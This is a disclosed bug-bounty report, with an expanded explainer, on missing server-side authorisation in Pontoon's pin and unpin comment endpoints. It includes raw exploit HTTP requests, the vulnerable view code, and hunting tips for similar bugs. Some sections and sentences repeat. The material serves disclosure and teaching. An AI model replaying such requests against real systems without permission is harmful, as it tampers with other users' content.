[Privilege Escalation] User can Pin|Unpin Any Comment on Any Project or Locale
The backend endpoints for pinning and unpinning comments lacked any permission checks, so any logged-in user could pin or unpin any comment on any project or locale. An attacker could therefore manipulate comment visibility across the platform.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 10 days
- Paid in 10 days
- Disclosed after 12 months
Hi, team. There is a feature to Pin and Unpin comments of translations or entities, but this functionality is only available for privileged users (i.e., Project Manager). Upon checking the backend code for this functionality, I realized that any user can Pin|Unpin any comment on any translation or entity because there are no checks.
Steps To Reproduce:
-
Go to
https://mozilla-pontoon-staging.herokuapp.com/and Login to your account. -
Click on teams and select any language.
███
- Now, from the next window, select any project.
██████████
- Then select any Resource from the next menu.
█████████
- After that, you will see a list of strings to be translated.
█████
- On the Right side, you will see a comments section.
████████
-
Now prepare your proxy to capture requests and post some comments.
-
You can check that there is no option to Pin or Unpin comment because Frontend Code is checking for user permissions and Based on that it shows button.
Reference: https://github.com/mozilla/pontoon/blob/45a69293623e56973c9a4fd5eb8b6618aca44813/translate/src/modules/comments/components/Comment.tsx#L81
{canPin ? (
comment.pinned ? (
// Unpin Button
<Localized
id='comments-Comment--unpin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Unpin comment'
onClick={handlePinAndUnpin}
>
{'UNPIN'}
</button>
</Localized>
) : (
// Pin Button
<Localized
id='comments-Comment--pin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Pin comment'
onClick={handlePinAndUnpin}
>
{'PIN'}
</button>
</Localized>
)
) : null}
- In proxy history, you will see a request to the
/get-team-comments/endpoint. Like this one.
███████
- In response to this request, you will see all comments with their IDs.
██████████
-
Copy any one Comment ID.
-
Now, grab your
Session Cookies,Anti-CSRF token,Comment IDand replace them in this request.
POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ████████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
-
Send the request, and you will see a
200 OKresponse. -
In the browser, reload the page and check that your comment has been successfully pinned.
█████
- Now to unpin the comment, use this request.
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
-
Now, comment from your other account on any project or translation and replace that comment ID in these requests to Pin or Unpin.
-
This way, a user can Pin|Unpin any user's comment on any project.
Supporting Material/References:
- This is the vulnerable code.
Link: https://github.com/mozilla/pontoon/blob/main/pontoon/base/views.py#L685-L715
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
"""Update a comment as pinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = True
comment.save()
_send_pin_comment_notifications(request.user, comment)
return JsonResponse({"status": True})
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
"""Update a comment as unpinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = False
comment.save()
return JsonResponse({"status": True})
Impact
A user can perform actions that he is not intended to do.
Context
Pontoon is Mozilla's translation platform. Translators work through a project's resources string by string, and each string can carry a comment thread. Comments can be pinned so that they stay visible at the top of the thread, which is useful for guidance that should not scroll away.
Pinning and unpinning is meant to be a privileged action, reserved for users such as the Project Manager. The frontend reflects that: the Pin and Unpin buttons are rendered only when the current user is allowed to pin. The backend endpoints behind those buttons, /pin-comment/ and /unpin-comment/, are what the researcher looked at, and the report is about those endpoints accepting requests from users who should not be able to make them.
Setup
To follow the reproduction you need:
- An account on the Pontoon staging instance at
https://mozilla-pontoon-staging.herokuapp.com/, logged in. - A second account, used to post a comment belonging to another user.
- An intercepting proxy, to capture the comment-listing request and to replay the pin and unpin requests with modified bodies.
- The session cookie and the anti-CSRF token from your own authenticated session.
No special role is required for the attacker: the whole point is that an ordinary logged-in user is enough.
Finding it
The researcher started from the feature itself. Pinning is presented as a Project Manager capability, so the first question was whether the server enforces that. Reading the backend code for the functionality showed that it does not: any user can pin or unpin any comment on any translation or entity, because there are no checks.
The frontend, by contrast, does check. In Comment.tsx the button block is guarded by a canPin condition, and when it is false the component renders nothing:
{canPin ? (
comment.pinned ? (
// Unpin Button
<Localized
id='comments-Comment--unpin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Unpin comment'
onClick={handlePinAndUnpin}
>
{'UNPIN'}
</button>
</Localized>
) : (
// Pin Button
<Localized
id='comments-Comment--pin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Pin comment'
onClick={handlePinAndUnpin}
>
{'PIN'}
</button>
</Localized>
)
) : null}
That is a UI-level restriction only. The absence of the button does not remove the endpoint, and the endpoint is reachable directly.
Exploitation
Step 1: reach a comment thread
Log in to https://mozilla-pontoon-staging.herokuapp.com/, click on teams and select any language, then pick any project from the next window, then any resource from the following menu. You land on the list of strings to be translated, with a comments section on the right-hand side.
Step 2: confirm the button is hidden
With an unprivileged account there is no Pin or Unpin option in the interface, because the frontend checks user permissions and shows the button based on that result. This is expected behaviour and not the bug; it is the reason the request has to be built by hand.
Step 3: collect a comment ID
With the proxy capturing traffic, post some comments. In the proxy history you will see a request to the /get-team-comments/ endpoint. Its response lists all comments together with their IDs. Copy any one comment ID.
Step 4: pin the comment
Take your session cookie, your anti-CSRF token and the comment ID, and place them into the following request:
POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [redacted]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
The body carries a single parameter, comment_id, which is the identifier taken from the comment listing. The X-Csrftoken header carries the token from the attacker's own session, so the request is a legitimate, authenticated, CSRF-protected request; it is simply made by the wrong user. Sending it returns 200 OK. Reloading the page in the browser shows the comment successfully pinned.
Step 5: unpin the comment
The reverse operation uses the same body against a different path:
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [redacted]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
Step 6: target another user's comment
Post a comment from the second account on any project or translation, take that comment's ID, and substitute it into either request. The pin or unpin succeeds just the same. In the researcher's words, a user can pin or unpin any user's comment on any project.
Root cause
The vulnerable code is in pontoon/base/views.py:
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
"""Update a comment as pinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = True
comment.save()
_send_pin_comment_notifications(request.user, comment)
return JsonResponse({"status": True})
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
"""Update a comment as unpinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = False
comment.save()
return JsonResponse({"status": True})
Both views are protected by @login_required, @require_POST and @transaction.atomic. None of those decorators expresses authorisation: @login_required only establishes that somebody is authenticated, and the CSRF token only establishes that the request came from the user's own browser session. After the comment_id is read and the Comment object is fetched, the code sets pinned to True or False and saves, with no check that request.user is a Project Manager or otherwise entitled to moderate that comment. The permission logic exists only in the React component, so the server trusts a decision made on the client. The pin path additionally calls _send_pin_comment_notifications(request.user, comment).
Impact
The report's own summary is that a user can perform actions that he is not intended to do. Concretely, any authenticated user can pin or unpin any comment on any project or locale, including comments written by other people, by sending the two requests above with an arbitrary comment_id. The report's own summary is that a user can perform actions that he is not intended to do: any authenticated user can pin or unpin any comment on any project or locale, including comments written by other people. The report does not describe any further consequence, such as data exposure or account takeover.
Fix
The report does not state what change was made. What the code requires is a server-side authorisation check in both pin_comment and unpin_comment, before the comment is modified: verify that the requesting user holds the role that the frontend uses for canPin (Project Manager, or whatever the project's permission model defines), and reject the request otherwise. The same check should be applied consistently to any other comment-moderation endpoint, since the frontend guard is not a control.
Variants to test
- Other moderation endpoints on the same object. Look for sibling routes such as delete, edit, hide or report on comments, and replay them with an unprivileged session. A positive result is a
200and a visible state change on a comment you do not own. - Object-level checks on the comment's parent. Try a
comment_idbelonging to a project or locale you have no role in. If the request succeeds, the endpoint is missing both the role check and any scoping to the caller's teams. - Role checks that exist only in the UI. Any button rendered conditionally in a React component is a candidate. Enumerate the endpoints those components call and send each one directly.
- Identifier enumeration. If the comment listing exposes sequential IDs, try neighbouring values to confirm that the endpoint accepts IDs outside the set returned to you.
- Notification side effects. Where an action triggers notifications, check whether the notification is attributed to the attacker, which can be used to mislead other users.
Hunting notes
This class of bug hides where a product has a moderation or curation feature with a visible privileged control. The signal during recon is a frontend permission check: a conditional render around a button, a canX flag, or a role fetched from an API and used only for display. Once you see that, the question is whether the corresponding endpoint repeats the check. Reading the view or controller for the endpoint is usually enough to answer it, and the report shows the pattern clearly: @login_required plus CSRF plus a POST-only decorator looks like protection but says nothing about who may act.
The impact case here rests on crossing a user boundary: the researcher did not stop at pinning their own comment, but posted from a second account and pinned that comment from the first, demonstrating that the action works on comments the attacker does not own, on any project.
What happened, in plain words
Pontoon is Mozilla's translation platform. Translators work through a project's resources string by string, and each string can carry a comment thread. Comments can be pinned so that they stay visible at the top of the thread, which is useful for guidance that should not scroll away.
Pinning and unpinning is meant to be a privileged action, reserved for users such as the Project Manager. The frontend reflects that: the Pin and Unpin buttons are rendered only when the current user is allowed to pin. The backend endpoints behind those buttons, /pin-comment/ and /unpin-comment/, are what the researcher looked at, and the report is about those endpoints accepting requests from users who should not be able to make them.
A few words before we start, because they come up constantly below.
- Frontend is the part of a website that runs in your browser: the pages, buttons and menus you see and click. Backend is the part that runs on the company's server: it stores data, decides what is allowed, and answers requests. A useful comparison is a restaurant: the frontend is the menu and the waiter, the backend is the kitchen. Hiding a dish from the menu does not stop anyone from walking into the kitchen and ordering it, unless the kitchen itself refuses.
- An endpoint is a specific address on the server that does one job, such as "pin a comment". Your browser sends a request to that address and the server sends back a response.
- An API is simply the collection of these addresses and the rules for talking to them. It is how the frontend asks the backend to do things.
- A cookie is a small piece of text your browser stores for a website and sends back with every request. The session cookie is the one that proves who you are: it is like the wristband you get at an event, which lets staff know you are inside. Anyone who copies it can act as you, which is why it is treated as a secret.
- A token is a similar short secret, but used for a narrower purpose. The anti-CSRF token (CSRF stands for Cross-Site Request Forgery) is a value the site puts in its pages so that the server can tell a request that genuinely came from the site's own pages apart from one forged by another website. It protects against outsiders, not against a logged-in user misusing their own session.
- Privilege escalation is the name of this kind of bug: a user who should have limited rights manages to perform an action reserved for someone with more rights. Here, an ordinary user gets to do a Project Manager's job.
Setup
To follow the reproduction you need:
- An account on the Pontoon staging instance at
https://mozilla-pontoon-staging.herokuapp.com/, logged in. A staging instance is a test copy of the real site, used for development and testing rather than by the public. - A second account, used to post a comment belonging to another user.
- An intercepting proxy, to capture the comment-listing request and to replay the pin and unpin requests with modified bodies. A proxy here is a tool that sits between your browser and the website and lets you read, pause, edit and resend the requests. Think of it as a recording device on the phone line: you hear exactly what was said and you can repeat a sentence with different words.
- The session cookie and the anti-CSRF token from your own authenticated session.
No special role is required for the attacker: the whole point is that an ordinary logged-in user is enough.
Finding it
The researcher started from the feature itself. Pinning is presented as a Project Manager capability, so the first question was whether the server enforces that. Reading the backend code for the functionality showed that it does not: any user can pin or unpin any comment on any translation or entity, because there are no checks.
The frontend, by contrast, does check. In Comment.tsx the button block is guarded by a canPin condition, and when it is false the component renders nothing:
{canPin ? (
comment.pinned ? (
// Unpin Button
<Localized
id='comments-Comment--unpin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Unpin comment'
onClick={handlePinAndUnpin}
>
{'UNPIN'}
</button>
</Localized>
) : (
// Pin Button
<Localized
id='comments-Comment--pin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Pin comment'
onClick={handlePinAndUnpin}
>
{'PIN'}
</button>
</Localized>
)
) : null}
Line by line, in plain words:
{canPin ? (opens a decision.canPinis a yes/no value that says whether the current user is allowed to pin. The?means "if yes, show the following".comment.pinned ? (is a second decision inside the first: if this particular comment is already pinned, show the unpin version; otherwise show the pin version.// Unpin Buttonis just a comment for humans reading the code, not something the browser does.<Localized ...>is a wrapper that supplies translated text for the button, so the label can appear in the user's language.id='comments-Comment--unpin-button'names which translation to use, andattrs={{ title: true }}says the tooltip text should be translated too.<button className='pin-button' title='Unpin comment' onClick={handlePinAndUnpin}>is the actual clickable button.classNamegives it a style,titleis the tooltip shown on hover, andonClick={handlePinAndUnpin}says which piece of code runs when it is clicked.{'UNPIN'}is the visible label on the button.- The second half, after
) : (, is the same structure for the pin case, with the label{'PIN'}. - The final
) : null}closes the outer decision: ifcanPinis false, rendernull, which means nothing at all. No button appears.
That is a UI-level restriction only. The absence of the button does not remove the endpoint, and the endpoint is reachable directly. Going back to the restaurant comparison: the dish has been taken off the menu, but the kitchen door is unlocked.
Exploitation
Step 1: reach a comment thread
Log in to https://mozilla-pontoon-staging.herokuapp.com/, click on teams and select any language, then pick any project from the next window, then any resource from the following menu. You land on the list of strings to be translated, with a comments section on the right-hand side.
This step is only about getting to a normal working page, the same one any translator uses. It gives you a real comment thread to experiment with and, more importantly, it makes your browser load the page that contains the anti-CSRF token you will need later.
Step 2: confirm the button is hidden
With an unprivileged account there is no Pin or Unpin option in the interface, because the frontend checks user permissions and shows the button based on that result. This is expected behaviour and not the bug; it is the reason the request has to be built by hand. If the button were there, you could simply click it, and there would be nothing to investigate.
Step 3: collect a comment ID
With the proxy capturing traffic, post some comments. In the proxy history you will see a request to the /get-team-comments/ endpoint. Its response lists all comments together with their IDs. Copy any one comment ID.
A comment ID is the unique number the database gives each comment, so that the server can refer to one specific comment without ambiguity. It is like a ticket number: quoting it tells the staff exactly which case you mean. The listing request is useful because it hands you valid IDs on a plate, including IDs of comments that are not yours.
Step 4: pin the comment
Take your session cookie, your anti-CSRF token and the comment ID, and place them into the following request:
POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [redacted]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
What each part means:
POST /pin-comment/ HTTP/1.1is the request line.POSTis the method used when you are sending data that changes something on the server, as opposed to simply asking for a page./pin-comment/is the endpoint, andHTTP/1.1is the version of the language being spoken.Host:names the site the request is for.Cookie:carries your session cookie, the wristband that proves you are logged in. It is redacted here because it is a secret.User-Agent:tells the server which browser and operating system you use. It is ordinary browser information.Accept:,Accept-Language:andAccept-Encoding:say which kinds of response and which languages and compression you can handle.Prefer: safeis a preference hint sent by the browser.Referer:says which page you were on when the request was made. Here it is a translation page for a specific string.X-Csrftoken:carries the anti-CSRF token, redacted because it is a secret. This is the value that proves the request came from the site's own pages.X-Requested-With: XMLHttpRequestmarks the request as one made by the page's own code rather than by typing an address in the bar.Content-Type: application/x-www-form-urlencoded;charset=UTF-8says the body is formatted like a simple form, withname=valuepairs.Content-Length: 16says the body is 16 bytes long.Origin:names the site the request originates from, andSec-Fetch-*headers describe how the request was triggered.Sec-Fetch-Site: same-originmeans it comes from the same site.Dnt: 1is a "do not track" preference,Priority: u=0is a scheduling hint,Te: trailersandConnection: keep-aliveare low-level transport details.- After the blank line comes the body:
comment_id=25725. This is the single parameter the endpoint reads, and it is the identifier taken from the comment listing.
The X-Csrftoken header carries the token from the attacker's own session, so the request is a legitimate, authenticated, CSRF-protected request; it is simply made by the wrong user. Sending it returns 200 OK. A 200 OK is the standard server answer meaning "done, no problem". Reloading the page in the browser shows the comment successfully pinned.
Step 5: unpin the comment
The reverse operation uses the same body against a different path:
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [redacted]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
Everything is identical to the previous request except the path in the first line, /unpin-comment/ instead of /pin-comment/. The headers and the body are the same, and the same comment ID is used. This shows that the two operations are two separate doors into the same room, and that both are open.
Step 6: target another user's comment
Post a comment from the second account on any project or translation, take that comment's ID, and substitute it into either request. The pin or unpin succeeds just the same. In the researcher's words, a user can pin or unpin any user's comment on any project.
This last step is the one that turns a curiosity into a real security problem. Pinning your own comment proves little; pinning somebody else's proves that the server does not check who owns the comment or what role the requester has.
Root cause
The vulnerable code is in pontoon/base/views.py:
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
"""Update a comment as pinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = True
comment.save()
_send_pin_comment_notifications(request.user, comment)
return JsonResponse({"status": True})
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
"""Update a comment as unpinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = False
comment.save()
return JsonResponse({"status": True})
Line by line, in plain words:
@login_required(...)is a decorator, a label placed above a function that wraps it in extra behaviour. This one says: only run the function if the request comes from a logged-in user; otherwise send them to the login page or to/403, the "forbidden" page.@require_POSTsays the function only acceptsPOSTrequests, the method used for sending data that changes things.@transaction.atomicsays that if something fails partway through, the database changes are undone as a whole, so you never end up with half an update.def pin_comment(request):defines the function that handles the pin request."""Update a comment as pinned"""is a description for humans.comment_id = request.POST.get("comment_id", None)reads thecomment_idvalue out of the submitted form data. If it is missing, the value isNone.if not comment_id:checks whether it is missing or empty, and if so returns a JSON answer sayingBad Requestwith status400, which is the standard code for "your request was malformed". JSON is a simple text format for structured data, easy for programs to read.comment = get_object_or_404(Comment, id=comment_id)looks up the comment in the database by its ID. If no such comment exists, it returns a404, the standard "not found" answer.comment.pinned = Truesets the comment's pinned flag to true, andcomment.save()writes that change to the database._send_pin_comment_notifications(request.user, comment)sends notifications about the pin, attributed to the user who made the request.return JsonResponse({"status": True})answers with a small JSON message saying it worked.- The second function,
unpin_comment, is the mirror image: same reading of the ID, same lookup, butcomment.pinned = Falseand no notification call.
Both views are protected by @login_required, @require_POST and @transaction.atomic. None of those decorators expresses authorisation: @login_required only establishes that somebody is authenticated, and the CSRF token only establishes that the request came from the user's own browser session. Authentication means "we know who you are"; authorisation means "we know what you are allowed to do". The code checks the first and never the second. After the comment_id is read and the Comment object is fetched, the code sets pinned to True or False and saves, with no check that request.user is a Project Manager or otherwise entitled to moderate that comment. The permission logic exists only in the React component, so the server trusts a decision made on the client. React is a popular toolkit for building the interactive parts of web pages, and a component is one reusable piece of such a page, here the comment with its buttons. The pin path additionally calls _send_pin_comment_notifications(request.user, comment).
Impact
The report's own summary is that a user can perform actions that he is not intended to do. Concretely, any authenticated user can pin or unpin any comment on any project or locale, including comments written by other people, by sending the two requests above with an arbitrary comment_id. The report's own summary is that a user can perform actions that he is not intended to do: any authenticated user can pin or unpin any comment on any project or locale, including comments written by other people. The report does not describe any further consequence, such as data exposure or account takeover.
Fix
The report does not state what change was made. What the code requires is a server-side authorisation check in both pin_comment and unpin_comment, before the comment is modified: verify that the requesting user holds the role that the frontend uses for canPin (Project Manager, or whatever the project's permission model defines), and reject the request otherwise. The same check should be applied consistently to any other comment-moderation endpoint, since the frontend guard is not a control.
Variants to test
- Other moderation endpoints on the same object. Look for sibling routes such as delete, edit, hide or report on comments, and replay them with an unprivileged session. A positive result is a
200and a visible state change on a comment you do not own. - Object-level checks on the comment's parent. Try a
comment_idbelonging to a project or locale you have no role in. If the request succeeds, the endpoint is missing both the role check and any scoping to the caller's teams. - Role checks that exist only in the UI. Any button rendered conditionally in a React component is a candidate. Enumerate the endpoints those components call and send each one directly.
- Identifier enumeration. If the comment listing exposes sequential IDs, try neighbouring values to confirm that the endpoint accepts IDs outside the set returned to you.
- Notification side effects. Where an action triggers notifications, check whether the notification is attributed to the attacker, which can be used to mislead other users.
Hunting notes
This class of bug hides where a product has a moderation or curation feature with a visible privileged control. The signal during recon is a frontend permission check: a conditional render around a button, a canX flag, or a role fetched from an API and used only for display. Once you see that, the question is whether the corresponding endpoint repeats the check. Reading the view or controller for the endpoint is usually enough to answer it, and the report shows the pattern clearly: @login_required plus CSRF plus a POST-only decorator looks like protection but says nothing about who may act.
The impact case here rests on crossing a user boundary: the researcher did not stop at pinning their own comment, but posted from a second account and pinned that comment from the first, demonstrating that the action works on comments the attacker does not own, on any project.
Glossary
- API: the set of addresses and rules a program uses to ask a server to do things.
- Anti-CSRF token: a short secret placed in a site's pages so the server can tell genuine requests from forged ones.
- Authentication: proving who you are, usually by logging in.
- Authorisation: deciding what a known user is allowed to do.
- Backend: the part of a site that runs on the server and holds the data and the rules.
- Comment ID: the unique number the database gives a comment so the server can refer to it.
- Component: a reusable piece of a web page's interface, such as a comment with its buttons.
- Cookie: a small piece of text a browser stores for a site and sends back with each request.
- CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request they did not intend.
- Decorator: a label above a function that wraps it in extra behaviour, such as requiring a login.
- Endpoint: a specific address on a server that performs one job.
- Frontend: the part of a site that runs in your browser and that you see and click.
- JSON: a simple text format for structured data that programs can easily read.
- POST: the request method used to send data that changes something on the server.
- Privilege escalation: a user with limited rights managing to perform an action reserved for a more privileged user.
- Proxy (intercepting): a tool between your browser and a site that lets you read, pause, edit and resend requests.
- React: a toolkit for building the interactive parts of web pages.
- Session cookie: the cookie that proves you are logged in, like a wristband at an event.
- Staging instance: a test copy of a site used for development rather than by the public.
- Token: a short secret value used for a specific purpose, such as proving a request came from the site's own pages.
- 200 OK: the standard server answer meaning the request succeeded.
- 400 Bad Request: the standard server answer meaning the request was malformed.
- 404 Not Found: the standard server answer meaning the requested item does not exist.